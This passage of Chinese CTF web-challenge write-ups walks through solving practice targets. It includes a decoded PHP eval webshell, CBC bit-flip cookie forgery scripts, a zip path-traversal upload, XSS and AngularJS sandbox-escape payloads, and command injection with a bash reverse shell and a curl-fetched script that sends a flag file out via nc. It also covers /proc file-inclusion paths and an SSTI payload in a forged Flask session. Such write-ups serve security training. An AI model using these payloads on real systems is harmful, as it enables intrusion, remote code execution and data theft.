RMSUdpTEh5QkxVNTBCMmFydlBvR0JZdGRiMUVFdUo1dVBJRGpuQkNCbjJ4WEdZQ1NldXRWQ2h0aHVWTU9QeVBzdDFFdXZWS3hQUEVvb1BQakxKRVZMc2l0bnV0aUcwb1NtUFBOQllDb24wb2d1UEIxYnlQYUJ5RW50VUlmTHNSMFNKYmpSTnlQbkp0WFBZRWdDeVJQUFlJdFB1dElQY0lMdDF5UFNJeVBQc0RqR0phNENQSWFlVWFZdEI1ckd5UnV2dW5mTHM5c3BWTTRQQm91UDJQVnVzNVN0ZnhqTDFDV3ZVOTNRbTBrckxzN1FmND0iO2V2YWwoJz8+Jy4kQndsdHFPWWJIYVFrUlBOb3hjZm5GbXpzSWpoZE1EQVdVZUtHZ3ZpVnJKWnBMdVhFVFN5QygkaFlYbFRnQnFXQXBPYnhKdmVqUFJTZEhHUW5hdURpc2ZFTklGeW9jcmtVTHdtS01DdFZ6Wigkdk53VE9zS1BFQWxMY2lKREJoV3RSU0hYZW1wSXJqeVFVdUdvYWtuWUNkRnpxWk14ZmJnVigkTnZpdXl3Q2VQV0VHbGFjQW1manJnQk1UWVh6SFpwSXhEcVFuc1VLa2hvdEZTT1JkVkpMYiwkY2lNZlRYcFBvSkh6WkJ4TE92bmdqUUNiZElHa1lsVk5TdW1GckFVZVdhc0t5RXR3aERxUioyKSwkdk53VE9zS1BFQWxMY2lKREJoV3RSU0hYZW1wSXJqeVFVdUdvYWtuWUNkRnpxWk14ZmJnVigkTnZpdXl3Q2VQV0VHbGFjQW1manJnQk1UWVh6SFpwSXhEcVFuc1VLa2hvdEZTT1JkVkpMYiwkY2lNZlRYcFBvSkh6WkJ4TE92bmdqUUNiZElHa1lsVk5TdW1GckFVZVdhc0t5RXR3aERxUiwkY2lNZlRYcFBvSkh6WkJ4TE92bmdqUUNiZElHa1lsVk5TdW1GckFVZVdhc0t5RXR3aERxUiksJHZOd1RPc0tQRUFsTGNpSkRCaFd0UlNIWGVtcElyanlRVXVHb2FrbllDZEZ6cVpNeGZiZ1YoJE52aXV5d0NlUFdFR2xhY0FtZmpyZ0JNVFlYekhacEl4RHFRbnNVS2tob3RGU09SZFZKTGIsMCwkY2lNZlRYcFBvSkh6WkJ4TE92bmdqUUNiZElHa1lsVk5TdW1GckFVZVdhc0t5RXR3aERxUikpKSk7")); ?>这里将其保持到本地的index.php文件中然后通过在线混淆解密php网站上传混淆加密的index.php文件进行解密https://www.zhaoyuanma.com/phpjm.html解密后,会生成一个index.php的文件。得到index.php解密后的php代码:<?phphighlight_file(njVysBZvxrLkFYdNofcgGuawDJblpOSQEHRUmKiAhzICetPMqXWT);@eval($_POST[ymlisisisiook]);?>该代码是一句话木马,连接木马为ymlisisisiook下面,直接用蚁剑连接远程连接,成功链接 但是发现只能访问/var/www/html/目录,其他目录被限制访问了。 利用蚁剑的"绕过disable_functions"插件检测一下函数,发现putenv没有被禁用linux主机,putenv=on,这里选择LD_PRELOAD模式来启用putenv点击开始,执行成功。访问生成的文件,测试连接成功http://114.67.246.176:10472/.antproxy.php在根目录下发现存在flag文件查看flag文件,即可得到flag内容最终得到flag:flag{05e166fd1d622e0fd56cf62c62bf93da} 题目名称:CBC题目描述:CBC字节翻转攻击 flag{}题目writeup:其启动题目场景,获得靶场网站,访问网站,发现页面是登录窗口http://114.67.246.176:15246/通过dirsearch.py对目录进行扫描,发现目标靶机系统中存在.index.php.swp文件python3 dirsearch.py -u http://114.67.246.176:15246/访问.index.php.swp文件,可下载文件,查看该文件,发现是乱码http://114.67.246.176:15246/.index.php.swp将下载到本地的indxe.php.swp上传到linux系统中通过vim -r 命令对index.php文件进行文件恢复。vim -r index.php 可以看到成功恢复出index.php文件内容得到index.php内容:<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><title>Login Form</title><link href="static/css/style.css" rel="stylesheet" type="text/css" /><script type="text/javascript" src="static/js/jquery.min.js"></script><script type="text/javascript">$(document).ready(function() { $(".username").focus(function() { $(".user-icon").css("left","-48px"); }); $(".username").blur(function() { $(".user-icon").css("left","0px"); }); $(".password").focus(function() { $(".pass-icon").css("left","-48px"); }); $(".password").blur(function() { $(".pass-icon").css("left","0px"); });});</script></head> <?phpdefine("SECRET_KEY", file_get_contents('/root/key'));define("METHOD", "aes-128-cbc");session_start(); function get_random_iv(){ $random_iv=''; for($i=0;$i<16;$i++){ $random_iv.=chr(rand(1,255)); } return $random_iv;} function login($info){ $iv = get_random_iv(); $plain = serialize($info); $cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv); $_SESSION['username'] = $info['username']; setcookie("iv", base64_encode($iv)); setcookie("cipher", base64_encode($cipher));} function check_login(){ if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){ $cipher = base64_decode($_COOKIE['cipher']); $iv = base64_decode($_COOKIE["iv"]); if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){ $info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>"); $_SESSION['username'] = $info['username']; }else{ die("ERROR!"); } }} function show_homepage(){ if ($_SESSION["username"]==='admin'){ echo '<p>Hello admin</p>'; echo '<p>Flag is $flag</p>'; }else{ echo '<p>hello '.$_SESSION['username'].'</p>'; echo '<p>Only admin can see flag</p>'; } echo '<p><a href="loginout.php">Log out</a></p>';} if(isset($_POST['username']) && isset($_POST['password'])){ $username = (string)$_POST['username']; $password = (string)$_POST['password']; if($username === 'admin'){ exit('<p>admin are not allowed to login</p>'); }else{ $info = array('username'=>$username,'password'=>$password); login($info); show_homepage(); }}else{ if(isset($_SESSION["username"])){ check_login(); show_homepage(); }else{ echo '<body class="login-body"> <div id="wrapper"> <div class="user-icon"></div> <div class="pass-icon"></div> <form name="login-form" class="login-form" action="" method="post"> <div class="header"> <h1>Login Form</h1> <span>Fill out the form below to login to my super awesome imaginary control panel.</span> </div> <div class="content"> <input name="username" type="text" class="input username" value="Username" onfocus="this.value=\'\'" /> <input name="password" type="password" class="input password" value="Password" onfocus="this.value=\'\'" /> </div> <div class="footer"> <input type="submit" name="submit" value="Login" class="button" /> </div> </form> </div> </body>'; }}?></html> 基础知识:1.加解密过程 0x01:加密过程如下图(来自《图解密码技术》一书)  0x02:解密过程(来自《图解密码技术》一书) CBC模式的加密过程主要分为这几步:   1. 将明文分为若干组(16个字节为一组),最后一组不足则用特殊字符填充   2.生成一个初始向量iv和密钥   3.用iv与第一组明文异或(iv只影响第一组生成的密文)   4. 然后再用前n组密文与后n+1组明文异或生成第n+1组密文,以次重复   5.最后将生成的密文拼接起来,就成了最终密文 CBC模式的解密过程主要分为这几步:   1.将密文分组   2.用iv与第一组密文xor,解密得到第一组明文   3.用第n组密文与第n+1组密文xor,解密得到第n+1组明文,以此类推   4.将各组的明文拼接在一起就是最终要得到的明文了 这里注意一下:解密的时候前一组密文只影响后一组明文的结果,而不会影响其他组明文的结果,由图也可看得出,这个也是进行攻击的重要之处。 2.CBC字节翻转攻击: 我们需要改变前一组密文的一个字节,然后与下一组的密文异或,我们就可以得到一个不同的明文了,从而就能达到攻击的效果。如图: 举个例子: 我现在有个明文序列:helloworld,现在我以它2个字节为一组进行分组(一般是16个字节为一组,但是这里为了方便起见就以2个字节为一组了) 第一组:he 第二组:ll 第三组:ow 第四组:or 第五组:ld 现在我想把第三组 “ow”中的o翻转为x,那么我们就需要改变第二组的密文从而改变第三的明文 phaintext="helloworld" enc=encrypt(phaintext) enc1=chr(ord(enc[5])^ord("o")^ord("x")) #enc[5]即是与“o”相同比特位的密文,也就是说第三组只有"o"这个比特位受影响,而“w”不受影响 result=decrypt(enc1) 这里注意一下:任何字符与本身xor都是为0,任何字符与0xor都为本身,如A xor A=0,A xor 0=A 简单的代码审计:审计源码首先要找到程序起点,跟着程序走一遍,了解流程。程序起点在这个if里:我们以else为分割符,先看上面一段的代码。程序接收到POST参数(username,password),并且禁止admin登陆。当用户名不是admin的时候,首先把用户名密码放入数组,传到login方法中。login方法对传入的数组进行了序列化,并且使用aes-128-cbc对序列化进行加密。iv(初始化向量)是随机生成的。最终把cipher和iv放入cookie。再到show_homepage()方法,检测$_SESSION中的username是admin时,打印flag。否则提示Only admin can see flag然后审计else的下半部分,这里是上半部分操作执行过后,存在$_SESSION[‘username’]时执行。当不存在POST数据或者$_SESSION[‘username’]时,显示登陆页面。有$_SESSION[‘username’]时,进入check_login()方法。当cookie中存在cipher、iv时,对cipher进行解密。这里是解题的关键,可以通过修改cookie中的cipher值,将序列化数据的用户名修改成admin。从而绕过程序起点处禁止admin登陆的判断。最后执行到show_homepage()方法,当我们在check_login()中把用户名修改为admin时,这里输出flag。 首先,我们先正常输入账号admin,密码123456。提示admin用户不允许登录。 尝试输入账号zadmin,密码123456,显示成功登录,并只有admin用户才能查看到flag;同时并通过bupsuit对其抓包,并发送数据包. 在http响应头部中发现set-cookie中包含iv和chipher参数变量和对应的值。猜测是CBC模式的加密。 得到:Set-Cookie: iv=YBCzp2mRS6QWKE%2F5bvbm8Q%3D%3DSet-Cookie: cipher=klN2ta6fm%2Bqe1W8%2FgsejaiR78rQD5l8%2FOXqE3Mvku%2FFc2gmMj4AWWhf7brCVqNn84gJCxqg9h4EU8pL7z3%2FaMw%3D%3D通过python脚本将cipher进行翻转:#!/usr/bin/env python # -*- coding: utf-8 -*- # @Date : 2018-03-15 11:45:57 # @Author : Mr.zhang(s4ad0w.protonmail.com) # @Link : http://blog.csdn.net/csu_vc import base64 import requests import urllib iv_raw='YBCzp2mRS6QWKE%2F5bvbm8Q%3D%3D' #这里填写第一次返回的iv值 cipher_raw='klN2ta6fm%2Bqe1W8%2FgsejaiR78rQD5l8%2FOXqE3Mvku%2FFc2gmMj4AWWhf7brCVqNn84gJCxqg9h4EU8pL7z3%2FaMw%3D%3D' #这里填写第一次返回的cipher值 print "[*]原始iv和cipher" print "iv_raw: " + iv_raw print "cipher_raw: " + cipher_raw print "[*]对cipher解码,进行反转" cipher = base64.b64decode(urllib.unquote(cipher_raw)) #a:2:{s:8:"username";s:5:"zdmin";s:8:"password";s:5:"12345"} #s:2:{s:8:"userna #me";s:5:"zdmin"; #s:8:"password";s #:3:"12345";} xor_cipher = cipher[0:9] + chr(ord(cipher[9]) ^ ord('z') ^ ord('a')) + cipher[10:] #请根据你的输入自行更改,原理看上面的介绍 xor_cipher=urllib.quote(base64.b64encode(xor_cipher)) print "反转后的cipher:" + xor_cipher得到chipher反转后的值:klN2ta6fm%2Bqezm8/gsejaiR78rQD5l8/OXqE3Mvku/Fc2gmMj4AWWhf7brCVqNn84gJCxqg9h4EU8pL7z3/aMw%3D%3D再次访问主页(实际上访问的是admin2账号后台主页),并抓包,这里是get请求,将cookie中的chipher设置为:klN2ta6fm%2Bqezm8/gsejaiR78rQD5l8/OXqE3Mvku/Fc2gmMj4AWWhf7brCVqNn84gJCxqg9h4EU8pL7z3/aMw%3D%3D,并发送数据包,发现在响应页面得到一串加密的base64字符串。GET / HTTP/1.1Host: 114.67.246.176:16565User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:15.0) Gecko/20100101 Firefox/15.0.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateCookie: _ga=GA1.1.281991049.1629731649; PHPSESSID=qppqc8ta6use8t2q9gdqui3ukg; iv=YBCzp2mRS6QWKE%2F5bvbm8Q%3D%3D; cipher=klN2ta6fm%2Bqezm8/gsejaiR78rQD5l8/OXqE3Mvku/Fc2gmMj4AWWhf7brCVqNn84gJCxqg9h4EU8pL7z3/aMw%3D%3DConnection: close 得到加密的base64:VDYOv5Hvb8v7zHXM/Va0PG1lIjtzOjY6ImFhZG1pbiI7czo4OiJwYXNzd29yZCI7czozOiIxMjMiO30=可以看到,服务器提示反序列化失败,但是其实我们这个时候只要对这个进行base64解码就会发现,我们的username已经变成了aadmin 这里对usernmae进行了检测只有admin才能看得到flag,但是admin又不允许登陆,这里看起来有点矛盾, 但是我们再看看前面的代码,这个对登陆信息进行序列化然后用CBC模式的加密方式进行加密最后base64_encode, 然后我们要做的是以admin的身份登陆,我们可以操作cookie中的iv和cipher进行CBC字节翻转攻击。 然后我们以账号为admia,密码为12345登陆 得到的明文是:a:2:{s:8:"username";s:5:"admia";s:8:"password";s:5:"12345"} 然后16个字节分组得到 s:2:{s:8:"userna me";s:5:"admia"; s:8:"password";s :3:"12345";} 所以我们要翻转的是第二组的“a”翻转为“n”,所以我们要改变第一组的密文从而达到攻击的效果: 这里得到admin账号得到chiper字符: import base64 cipher="yQQeUDxlzRvPToe631KV1vcy8DyI4e0kz7Knb9K6GIH4yP8Q32kufQvWoD7oN3hzi2EpiBxx6t/7sfIH1pCExg==" plain=base64.b64decode(cipher) result=plain[0:13]+chr(ord(plain[13])^ord("n")^ord("a"))+plain[14:] print base64.b64encode(result) #print R0dGVia+fJ24Ei3t29NC90P5kRbHXnW+D690WNWHnATH3UHvC4h+btceizE5jotDgG0QZLa9LOdwSAg9LcsCdw== 得到admin账号的chiper:yQQeUDxlzRvPToe6312V1vcy8DyI4e0kz7Knb9K6GIH4yP8Q32kufQvWoD7oN3hzi2EpiBxx6t/7sfIH1pCExg== 再次通过bupsuit 抓包发送,这里在http请求头部中将chiper修改为:yQQeUDxlzRvPToe6312V1vcy8DyI4e0kz7Knb9K6GIH4yP8Q32kufQvWoD7oN3hzi2EpiBxx6t/7sfIH1pCExg==发送数据包后,在响应页面,得到加密的字符串base64POST过去提示不能正常反序列化,因为我们修改了第一组的密文,导致第一组的密文与iv xor会出错,从而导致了第一组明文不能正常解密,所以我们还要对iv进行修改得到加密base64字符串:GhmKmwFwjmIeWfHGAtJ4fW1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjU6IjEyMzQ1Ijt9,对其解密发现解密后的字符串中包含admin账号,而明文字段不能正常显示。出现这种错误,根据CBC解密原理,我们只需要修改iv的值,使得iv XOR 解密(密文1) = 明文1 代码如下(由于我中途输入错了iv,所以代码中的iv和cipher和图中可能会不一样,但是思路是一样的): 注意一下第二步不要修改cipher,只需要修改iv就行了,因为我两个图中的cipher是不一样的,所以我还是要说一下的,以免误人子弟 得到新的iv: import base64 cipher="wRPT3VONV2zFV6D2PbHjIm1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjU6IjEyMzQ1Ijt9" plain=base64.b64decode(cipher) oldiv=base64.b64decode("uxrq4TtskqrNJh7JUZV9rg==") one='a:2:{s:8:"userna' iv="" for i in range(0,16): iv=iv+chr(ord(one[i])^ord(plain[i])^ord(oldiv[i])) print base64.b64encode(iv)#iv=GzMLBhOS//4yU8tMCVbw7Q== GzMLBhOS//4yU8tMCVbw7Q== 将IV修改为:GzMLBhOS//4yU8tMCVbw7Q== 再次发送请求包,最终得到flag 最终 flag:flag{862a6ff5b80d324306de118ca75d9e16}
  18. 题目名称:从0到1CTFer成长之路-Web文件上传题目wirteup:启动题目场景,获得题目靶场,访问网站,发现是一个文件上传漏洞,并且源代码也显示出来。http://eci-2zead4wngyl8hacgmm4n.cloudeci1.ichunqiu.com/ 源代码大概如下分析:<?phpheader("Content-Type:text/html; charset=utf-8");// 每5分钟会清除一次目录下上传的文件 //会包含文件pclzip.lib.php,感觉这个php里面是有一些针对zip包进行解压等的操作的require_once('pclzip.lib.php'); //要是没上传文件,就输出上传页面if(!$_FILES){echo '省略的HTML' show_source(__FILE__);}else{ $file = $_FILES['file']; //限制上传的文件名不为空 if(!$file){ exit("请勿上传空文件"); } $name = $file['name']; $dir = 'upload/';//strrchr($name, '.') //strrchr() 函数查找字符串在另一个字符串中最后一次出现的位置,并返回从该位置到字符串结尾的所有字符。//比如上传的文件名为$name=1.php.txt,这里strrchr($name, '.') 执行结果为.txt//substr(strrchr($name, '.'), 1)//substr字符串截取,从下标为1开始截取,那就是把点略过,截取后为txt//通过strtolower函数将所有字符转换为小写,赋值给ext变量 $ext = strtolower(substr(strrchr($name, '.'), 1));//如果我们上传的文件名为1.txt,那么path变量就为upload/1.txt $path = $dir.$name; //检查是否为目录 function check_dir($dir){ $handle = opendir($dir); while(($f = readdir($handle)) !== false){ if(!in_array($f, array('.', '..'))){ if(is_dir($dir.$f)){ check_dir($dir.$f.'/'); }else{ $ext = strtolower(substr(strrchr($f, '.'), 1)); if(!in_array($ext, array('jpg', 'gif', 'png'))){ unlink($dir.$f); } } } } } //创建目录 if(!is_dir($dir)){ mkdir($dir); } //将目录名拼接一个随机数,读到这里,基本上就知道需要路径穿越了,因为我们不知道随机数值,所以就算绕过上传,解析也是一大关 $temp_dir = $dir.md5(time(). rand(1000,9999)); if(!is_dir($temp_dir)){ mkdir($temp_dir); } //首先进行后缀的校验,把刚刚拿到的,最后一个.后面的字符串和这里的zip、jpg、gif、png进行对比校验 if(in_array($ext, array('zip', 'jpg', 'gif', 'png'))){ //使用白名单校验,只允许zip、jip、gif、png 上传 if($ext == 'zip'){ //如果使用zip 上传,下面就是zip解压流程规则//使用PclZip进行解压缩 $archive = new PclZip($file['tmp_name']);//遍历解压缩后的每个目录 foreach($archive->listContent() as $value){ $filename = $value["filename"];//一段较为简单的正则,就是匹配每个文件结尾的位置,是否是.php ,如果是则退出解压程序 if(preg_match('/\.php$/', $filename)){ exit("压缩包内不允许含有php文件!"); } } if ($archive->extract(PCLZIP_OPT_PATH, $temp_dir, PCLZIP_OPT_REPLACE_NEWER) == 0) { check_dir($dir); exit("解压失败"); } check_dir($dir); exit('上传成功!'); }else{ move_uploaded_file($file['tmp_name'], $temp_dir.'/'.$file['name']); check_dir($dir); exit('上传成功!'); } }else{ exit('仅允许上传zip、jpg、gif、png文件!'); }}大概代码是需要将php文件先压缩成zip文件压缩包,然后绕过路经检测,通过路径穿越将文件放到指定目录,然后访问上传的文件名如果将解压出的文件穿越到非upload目录,check__dir方法就无法删除该文件。zip压缩包被解压到/upload/随机md5/目录下,所以需要穿越两个目录,由于我们上传的路径目录是upload/随机值/上传的文件,需要穿越两层,直到根目录下,一层随机目录,一层upload所以需要文件名为…/…/file.php,由于需要构造解析,利用apache的解析漏洞,如果从右开始,直到哪个能识别就解析哪个,构造最终文件名为../../hhhh.php.xxx,这个文件名长度为18位windows操作系统下,右键创建文件,文件名随便写一个18位的(跟刚刚的文件名位数一样),这里是把后缀涵盖的,例如:123456789012345678然后我用的WinRar,右键添加到zip接下来就开始用010 Editor进行zip文件的编辑,我们分别将char frFileName[18]修改为hhhh.php.xxx和char deFileName[18]修改为../../hhhh.php.xxx,然后保存压缩文件 对压缩文件进行上传成功后,会进行自动解压缩然后访问以下路径,即可获得flaghttp://eci-2zead4wngyl8hacgmm4n.cloudeci1.ichunqiu.com/hhhh.php.xxx最终flag:n1book{ThisIsUpLoadToPicfl4g} 题目名称:从0到1CTFer成长之路-XSS闯关题目wirtup:启动题目场景,获得题目靶场,访问网站,发现是一个通关的XSS游戏获取flag第一关,输入常规的XSS poc: <img src=x onerror=alert(0)> 即可进入下一关http://eci-2ze4s8hmmy8zzvishpc5.cloudeci1.ichunqiu.com/level1?username=<img src=x onerror=alert(0)> 第二关,输入测试<xss>poc,查看源代码,发现没有过滤<和>,然后对其进行闭合标签即可这里通过输入';alert(0);//,即可进入下一关http://eci-2ze4s8hmmy8zzvishpc5.cloudeci1.ichunqiu.com/level2?username=12';alert(0);//第三关,输入上一关的poc: ';alert(0);// 发现单引号被转义成/'这里通过再次输入一个单引号,即可绕过一个单引号的转义,最终poc:12'';alert(0);// 提交,即可进入下一关http://eci-2ze4s8hmmy8zzvishpc5.cloudeci1.ichunqiu.com/level3?username=12'';alert(0);//第4关,查看源代码发现有一个自动跳转的变量jumpUrl代码中接收jumpUrl作为跳转url,伪链接javascript:alert(1),浏览器会把javascript后面的那一段内容当做代码,直接在当前页面执行,即可进入下一关。http://eci-2ze4s8hmmy8zzvishpc5.cloudeci1.ichunqiu.com/level4?jumpUrl=javascript:alert(0)第五关,表单中直接输入一个测试数字,提交发现现实错误查看源代码,发现有JS 2条IF判断条件限制着。 限制1: if(getQueryVariable('autosubmit') !== false){绕过限制:autosubmit=1 限制2 autoForm.action = (getQueryVariable('action') == false) ? location.href : getQueryVariable('action');绕过限制:action=javascript:alert(0)同样是传值,只不过是传我们的注入语句,提交完整payload:/level5?autosubmit=1&action=javascript:alert(0) 即可进入下一关。 http://eci-2ze4s8hmmy8zzvishpc5.cloudeci1.ichunqiu.com/level5?autosubmit=1&action=javascript:alert(0) 输一个一个测试<xss>发现<和>已经被转义了查看源代码,发现该关题目使用的AngularJS点击https://cdn.staticfile.org/angular.js/1.4.6/angular.min.js,发现AngularJS版本为1.4.6 也可以通过chrome的Wapplayzer插件进行查看我们的Angular版本是1.4.6,低于1.6版本,那么存在沙箱,利用逃逸沙箱POC:{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}访问上面的沙箱poc,即可进入下一关。下一关显示了flag的内容最终flag:n1book{xss_is_so_interesting} 题目名称:从0到1CTFer成长之路-死亡之ping题目内容: 路由器管理台经常存在的网络ping测试,开发者常常会禁用大量的恶意字符串,试试看如何绕过呢? 题目writeup:启动题目场景,获得靶场,访问网站,并输入测试ping 127.0.0.1,发现可以成功,但是没有回显到页面上。http://eci-2zed552151f9re6faxx2.cloudeci1.ichunqiu.com/该题目存在一些黑名单过滤的,这里输入一个测试符号&,提交,显示ip包含恶意字符。这里通过bupsuit的intruder进行fuzz 常用的键盘符号。常用的fuzz 键盘符号:~`##!|'"$.!%@°*(((&[[[{=+-_\/:;<>,?^<>&&|| fuzz出这些符号:+ / = < > ,? <> 没有被过滤通过%0a,表示换行,并能连接新的一条命令进行执行(不能在浏览器中直接提交%0a,否则会自动转换成url编码提交会报错),因此建议在 burp中抓包后修改提交请求.首先在测试%0als,是可以执行成功,证明%0a可以绕过执行ip=127.0.0.1%0als这里直接测试下bash反弹,发现有特殊的字符(如&已经被拦截了)是反弹不成功的ip=127.0.0.1%0abash -i >& /dev/tcp/36.xx.xx.223:8080 0>&1 在公网主机vps上编写flag.sh脚本内容如下:lscat /FLAG | nc 192.168.1.5 2333并且在公网主机VPS上使用python搭建http服务,端口为80(一定是80端口),如果使用其他端口,则使用curl下载的时候需要用到:端口号访问, :符号则在被拦截范围中。python -m SimpleHTTPServer 80使用curl命令从vps 主机下载flag.sh到靶机系统中的tmp目录下,一般tmp目录具有可读写权限。ip=127.0.0.1%0acurl 36.xx.xx.223/flag.sh > /tmp/flag.sh 使用chmod命令远程修改已下载的flag.sh文件的可读写执行权限ip=127.0.0.1%0achmod 777 /tmp/flag.sh通过sh命令远程执行靶机中的flag.sh脚本ip=127.0.0.1%0ash /tmp/flag.sh vps本地监听,且nc反弹出来靶机中的输出命令信息的内容包含了flag最终flag:n1book{6fa82809179d7f19c67259aa285a7729} 题目名称:从0到1CTFer成长之路--afr_3题目witeup:访问靶机网站,这里输入测试 test内容,发现页面回显也显示testhttp://eci-2ze6rqbmu4jlf86hemsa.cloudeci1.ichunqiu.com/ 猜测是存在ssti注入,这里输入测试{{7+7}},页面显示+被过滤,也没相加执行,显然猜测是错误的。 继续访问article超链接,看起来像参数存在文件包含或者sql注入漏洞http://eci-2ze6rqbmu4jlf86hemsa.cloudeci1.ichunqiu.com/article?name=article 这里通过bupsuit进行fuzz测试常用的文件包含,可以看到在../../etc/passwd路径读取系统的passwd猜测flag在系统的根目录下,于是然后尝试读取一下根目录下的flag,但是提示没有权限tps:常用的环境变量配置读取:/proc/sched_debug # 提供cpu上正在运行的进程信息,可以获得进程的pid号,可以配合后面需要pid的利用/proc/mounts # 挂载的文件系统列表/proc/net/arp # arp表,可以获得内网其他机器的地址/proc/net/route # 路由表信息/proc/net/tcp and /proc/net/udp # 活动连接的信息/proc/net/fib_trie # 路由缓存/proc/version # 内核版本/proc/[PID]/cmdline # 可能包含有用的路径信息/proc/[PID]/environ # 程序运行的环境变量信息,可以用来包含getshell/proc/[PID]/cwd # 当前进程的工作目录/proc/[PID]/fd/[#] # 访问file descriptors,某写情况可以读取到进程正在使用的文件,比如access.log尝试读取系统当前运行那些程序并且查看进程,这里fuzz /proc/self/cmdline读取系统进程,最终遍历到目录../../../proc/self/cmdline读取,成功执行并回显:python server.py,说明该题应该是一个python的环境又根据以往经验尝试读取../../../app/server.py 和../../../server.py都不能读取尝试读取系统环境,这里fuzz /proc/self/environ 读取系统环境变量,最终遍历到目录../../../proc/self/environ读取,成功执行并回显出server.py的路径为/home/sssssserver和flag信息提交flag发现出错,证明不是真正的flag于是读取/home/sssssserver/server.py,成功读取到其源码../../../home/sssssserver/server.py回显出来的源码通过html decode 后得到server.py:import osfrom flask import ( Flask, render_template, request, url_for, redirect, session, render_template_string )from flask_session import Session app = Flask(__name__)execfile('flag.py')execfile('key.py') FLAG = flagapp.secret_key = [email protected]("/n1page", methods=["GET", "POST"])def n1page(): if request.method != "POST": return redirect(url_for("index")) n1code = request.form.get("n1code") or None if n1code is not None: n1code = n1code.replace(".", "").replace("_", "").replace("{","").replace("}","") if "n1code" not in session or session['n1code'] is None: session['n1code'] = n1code template = None if session['n1code'] is not None: template = '''<h1>N1 Page</h1> <div class="row> <div class="col-md-6 col-md-offset-3 center"> Hello : %s, why you don't look at our <a href='/article?name=article'>article</a>? </div> </div> ''' % session['n1code'] session['n1code'] = None return render_template_string(template) @app.route("/", methods=["GET"])def index(): return render_template("main.html")@app.route('/article', methods=['GET'])def article(): error = 0 if 'name' in request.args: page = request.args.get('name') else: page = 'article' if page.find('flag')>=0: page = 'notallowed.txt' try: template = open('/home/nu11111111l/articles/{}'.format(page)).read() except Exception as e: template = e return render_template('article.html', template=template) if __name__ == "__main__": app.run(host='0.0.0.0',port=80, debug=False)对其源码进行审计发现,flag在flag.py中。还发现确实存在模板注入,虽然下面这语句存在过滤if n1code is not None: n1code = n1code.replace(".", "").replace("_", "").replace("{","").replace("}","") 同时又发现flask函数的中存在key.py,而appkey又在key.py中,但是此处任意文件读取漏洞被过滤了关键词flag下面语句存在ssti模板注入,模板渲染的内容就是n1code,但是其实n1code的来源可以是session,前提是可以伪造flask的cookie。 if session['n1code'] is not None: template = '''<h1>N1 Page</h1> <div class="row> <div class="col-md-6 col-md-offset-3 center"> Hello : %s, why you don't look at our <a href='/article?name=article'>article</a>? </div> </div> ''' % session['n1code']于是读取key.py../../../proc/self/cwd/key.py 成功读取到appkey:key = 'Drmhze6EPcv0fN_81Bj-nA'使用flask-session-cookie-manager进行生成伪造cookie:https://github.com/noraj/flask-session-cookie-manager $ git clone https://github.com/noraj/flask-session-cookie-manager.git && cd flask-session-cookie-manager$ python3 setup.py install下面通过 flask_session_cookie_manager3.py直接生成加密的cookie:python3 flask_session_cookie_manager3.py encode -s "Drmhze6EPcv0fN_81Bj-nA" -t "{'n1code': '{{\'\'.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[\'os\'].popen(\'cat flag.py\').read()}}'}"生成的加密的cookie值:.eJwdikEKgCAQAL8SXlYvQl2CviKxbGoRmCtZhxD_nnUbZqaI2Ft2XkyiFACNaAPljNjoOBnRDHPDfC-_961IZcb-k3vcr3_cAi8UWjLAGWadOPkowdLVrYE2nR5Q-vTkpKpV1BcrHygP.YQ6_6A.Uv6wMG2nUKf-4u_HURW3HRKGMp8通过伪造cookie,即可获得flag最终flag:n1book{afr_3_solved} 题目名称:从0到1 CTFer成长之路--afr_2题目writeup:打开靶机网站,发现是一张图片查看源代码,发现有图片路径访问图片路径的根目录,可以看到,看起来像目录遍历http://eci-2ze39wd1b4km7p6s56t6.cloudeci1.ichunqiu.com/img/ 或者通过御剑目录扫描工具,也可以扫描到img目录尝试在img 目录后加上../,即可返回到上层目录,并可以遍历到flag文件http://eci-2ze39wd1b4km7p6s56t6.cloudeci1.ichunqiu.com/img../ 下载flag文件,可以看到包含了flag内容最终flag:n1book{afr_2_solved} 题目名称:从0到1 CTFer成长之路--afr_1题目writeup:访问靶机网站,发现输入的参数?p=hello,在页面中显示hello world,靶机路径出现这样的参数?p=测可能存在任意文件包含漏洞尝试任意文件包含读取/etc/passwd,发现没有显示出来,猜测可能被过滤了http://eci-2ze8zoog6qcqj933081i.cloudeci1.ichunqiu.com/?p=../../../etc/passwd尝试任意文件包含读取flag.php,页面还是显示空白,也有可能被过滤http://eci-2ze8zoog6qcqj933081i.cloudeci1.ichunqiu.com/?p=php://filter/read=convert.base64-encode/resource=flag.php尝试任意文件包含读取flag,页面有显示,但是并没有显示出flaghttp://eci-2ze8zoog6qcqj933081i.cloudeci1.ichunqiu.com/?p=falg联想到php中可以是用php://fiter读取flag,可以正常读取出内容,且内容是base64加密的(但是读取 flag.php的时候显示空白,理论上是可以读取,猜测这里可能题目后面的参数变量会自动加上.php)http://eci-2ze8zoog6qcqj933081i.cloudeci1.ichunqiu.com/?p=php://filter/read=convert.base64-encode/resource=flag读取出来的内容为:PD9waHAKZGllKCdubyBubyBubycpOwovL24xYm9va3thZnJfMV9zb2x2ZWR9通过在线base64解密网站对其进行解密,发现是一段php代码,代码注释中就包含了flag内容最终flag:n1book{afr_1_solved} 题目名称:从0到1 CTFer成长之路--SQL注入-2题目writeup:打开靶机题目网站,发现有2个连接其中lonin.php连接是一个登陆页面另外一个user.php,发现没任何内容 方法一: 登陆窗口处,猜测账号文本框中可能存在注入,下面尝试测试是否存在注入http://eci-2zecs6kiq0ct6o6vbdmm.cloudeci1.ichunqiu.com/login.php?tips=1post: 